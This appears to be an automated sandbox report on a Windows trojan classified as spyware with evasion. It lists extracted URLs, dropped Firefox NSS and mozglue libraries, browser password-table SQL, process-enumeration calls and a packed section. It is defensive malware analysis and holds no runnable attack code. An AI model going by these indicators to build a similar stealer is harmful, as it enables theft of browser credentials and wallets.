Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924146394.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1769262755.000000001D50C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1864939803.00000000297E4000.00000004.00000020.00020000.00000000.sdmp, GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1864939803.00000000297E4000.00000004.00000020.00020000.00000000.sdmp, GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C62B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C62B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C62B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5CF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073	0_2_00DBB073
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCB9D6	0_2_00DCB9D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB998B	0_2_00DB998B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBCA0C	0_2_00CBCA0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DCD3CC	0_2_00DCD3CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDEBAB	0_2_00EDEBAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBCB78	0_2_00DBCB78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC6B7F	0_2_00DC6B7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB44DB	0_2_00DB44DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C96C69	0_2_00C96C69
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC35AF	0_2_00DC35AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DC85A4	0_2_00DC85A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBE69A	0_2_00DBE69A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C98E7F	0_2_00C98E7F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB7F8B	0_2_00DB7F8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB5FAD	0_2_00DB5FAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C35A0	0_2_6C5C35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5440	0_2_6C5D5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63545C	0_2_6C63545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63542B	0_2_6C63542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63AC00	0_2_6C63AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605C10	0_2_6C605C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612C10	0_2_6C612C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED4D0	0_2_6C5ED4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606CF0	0_2_6C606CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D64C0	0_2_6C5D64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4E0	0_2_6C5CD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6234A0	0_2_6C6234A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C4A0	0_2_6C62C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6C80	0_2_6C5D6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F0512	0_2_6C5F0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EED10	0_2_6C5EED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFD00	0_2_6C5DFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6285F0	0_2_6C6285F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600DD0	0_2_6C600DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E63	0_2_6C636E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9E50	0_2_6C5E9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4640	0_2_6C5E4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC670	0_2_6C5CC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612E4E	0_2_6C612E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603E50	0_2_6C603E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629E30	0_2_6C629E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615600	0_2_6C615600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607E10	0_2_6C607E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6376E3	0_2_6C6376E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBEF0	0_2_6C5CBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DFEF0	0_2_6C5DFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624EA0	0_2_6C624EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5E90	0_2_6C5E5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E680	0_2_6C62E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9F00	0_2_6C5D9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607710	0_2_6C607710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6FF0	0_2_6C5F6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CDFE0	0_2_6C5CDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6177A0	0_2_6C6177A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8850	0_2_6C5E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED850	0_2_6C5ED850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60F070	0_2_6C60F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B820	0_2_6C60B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614820	0_2_6C614820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D7810	0_2_6C5D7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6058E0	0_2_6C6058E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6350C7	0_2_6C6350C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC0E0	0_2_6C5EC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F60A0	0_2_6C5F60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B970	0_2_6C61B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B170	0_2_6C63B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EA940	0_2_6C5EA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD960	0_2_6C5DD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD9B0	0_2_6C5FD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605190	0_2_6C605190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622990	0_2_6C622990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC9A0	0_2_6C5CC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609A60	0_2_6C609A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E2F0	0_2_6C60E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608AC0	0_2_6C608AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AF0	0_2_6C5E1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632AB0	0_2_6C632AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DCAB0	0_2_6C5DCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63BA90	0_2_6C63BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C22A0	0_2_6C5C22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4AA0	0_2_6C5F4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C5340	0_2_6C5C5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC370	0_2_6C5DC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D320	0_2_6C60D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6353C8	0_2_6C6353C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CF380	0_2_6C5CF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00A045C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5FCBE8 appears 134 times

Source: file.exe, 00000000.00000002.1924757642.000000006C845000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uvxnsmun ZLIB complexity 0.9950325179342795

Source: file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1703301988.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C627030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C627030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A18680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00A18680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A13720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00A13720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\1A9M6JZO.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1776881845.000000001D504000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFBGIDGIEBGHCGI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924074709.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
